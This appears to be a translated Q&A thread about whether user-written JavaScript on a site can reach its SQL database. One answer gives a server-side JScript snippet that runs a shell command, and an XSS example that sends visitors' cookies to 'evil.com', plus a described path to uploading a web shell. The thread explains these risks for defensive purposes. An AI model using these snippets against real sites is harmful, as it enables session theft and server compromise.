如果最终用户可以编写自己的Javascript,可以联系SQL DB吗?

时间:2018-09-27 17:03:58

标签: javascript sql penetration-testing

我有一个网站,允许用户在该网站上编辑该网站的前端。 用户只能访问编辑器,而不能访问其所在的服务器。

用户要求我也允许使用javascript。 这意味着用户可以在前端上创建自己的脚本。

我担心的是用户可能会使用它来进行恶意操作。恐怕如果用户对这些知识足够了解,他可能会搞砸这个网站。

我的问题:  -假设用户具有SQL DB的连接字符串,他可以在该服务器上执行查询吗?通常这应该是NO,因为JavaScript对客户端来说是正确的吗?

我找到了以下代码段:

var connection = new ActiveXObject("ADODB.Connection") ;

var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";

connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");

rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
   document.write(rs.fields(1));
   rs.movenext;
}

rs.close;
connection.close; 

假设我的连接字符串如下

Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True

我试图使脚本运行,但幸运的是,它显示了空白页。但这是因为我可能做错了什么吗?还是确实导致javascript是客户端并且不允许做这种事情?

其他问题:  -我采取了哪些其他风险示例,允许他在前端使用javascript?如果确实Javascript完全是客户端语言,则意味着他不能做其他有风险的事情吧?

2 个答案:

答案 0 :(得分:6)

JavaScript在客户端运行,它不会直接影响服务器的安全性。但是,它可能对您的网站访问者,用户和管理员构成威胁。 JavaScript攻击被称为XSS attacks,并且可能具有多种含义:

  

基于XSS的各种攻击几乎是无限的,但是它们通常包括将私有数据(例如Cookie或其他会话信息)传输给攻击者,将受害者重定向到攻击者控制的Web内容或在其上执行其他恶意操作以易受攻击的站点为幌子的用户计算机。

您问题中的代码似乎使用ActiveXObject创建数据库连接。如果攻击者具有数据库凭据(连接字符串)且SQL Server端口已打开,则可以攻击他们,但他们可以使用任何SQL客户端。

但是,可以在IIS服务器上运行JScr​​ipt(Microsoft的JavaScript版本)。如果将代码放在.asp页上具有runat="server"属性的脚本标签中,则它将在服务器上执行,并且可以到达数据库。例如,此代码:

<html>
<script language="javascript" runat="server">
    function exploit() {
        var shell = new ActiveXObject("WScript.shell");
        var cmd = shell.Exec("ipconfig");
        Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
    }
</script>
<% exploit() %>
</html>

如果在.asp或.aspx页面上执行,将显示服务器的IP配置。 但是,如果攻击者可以编辑.asp / .aspx页面,那就已经太迟了。

假设他们不能编辑活动的服务器页面,并且没有凭据或对SQL Server的访问权限,则他们应该不能直接使用JavaScript访问数据库。但是,他们可以使用XSS攻击来提升其特权。


可能的攻击情形:

攻击者编写了一个脚本,该脚本收集用户cookie,并将其发送到其服务器。

var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');

使用此简单代码,攻击者可以记录访问该恶意脚本页面的任何用户的cookie,并使用它们登录其帐户或使用其特权执行其他操作。

如果管理员访问此页面,则攻击者可以使用其cookie以管理员身份访问控制面板。 许多CMS(包括WordPress和Joomla)允许管理员在服务器上编写或修改PHP代码,因此攻击者可能会上载Web Shell。他们甚至可以通过从管理员的浏览器发出XHR请求来自动化整个过程。

如果他们设法上载Web Shell,则可以执行命令和代码,读取/写入文件并访问SQL Server。因此,现在他们可以使用与您的用户帐户相同的凭据和IP来访问数据库。当然,可能存在阻止这种情况的机制(AV,限制等),但是坚定的攻击者可以找到绕过它们的方法。


最后,您永远不应运行不受信任的代码。在您的网站上允许不受信任的JavaScript代码可能会带来非常严重的后果。即使攻击者无法访问您的数据库或损害您的站点,他们仍然可能损害您的访问者。您可以访问beef来了解XSS攻击有多危险。

答案 1 :(得分:2)

浏览器中的JavaScript严格来说是一种客户端技术。无论您允许或不允许用户使用JavaScript做任何事情,唯一可能的坏结果是他们提交了您所期望的数据。

如果此数据导致您不希望采取的任何措施,则您需要修复代码以使其能够处理(通常是拒绝它),因为世界上任何人都可以使用或不使用JavaScript来执行相同的操作,无论是否经过您的许可。

任何类型的用户端脚本编写的最终结果都是HTTP请求。无论您是否授予用户权限,您都必须能够处理进来的所有 ,因为世界各地的黑客和机器人都可以这样做。

这实际上是一个相当大的话题,其中包含一些非常重要的规则,这些规则将解决大多数问题。例如,如果您使用存储过程进行所有数据访问,并且不授予Web用户任何权限,而是为其需要运行的存储过程授予EXECUTE权限,那么您就消除了所有常见的攻击类别。

您可以使用Google“ SQL注入”作为一个良好的开端。

修改

您发布的代码段将允许数据库访问,但只能访问可从用户计算机访问的数据库。

几乎无法从Internet直接访问生产数据库连接,因此,如果用户在Internet上的其他地方并运行了您发布的代码,则它们仍然不会影响您的数据库。

现在,如果您要让用户在与数据库位于同一台计算机或网络上的桌面会话中运行的浏览器中执行此代码,则可能坏事,取决于浏览器提供的隔离级别。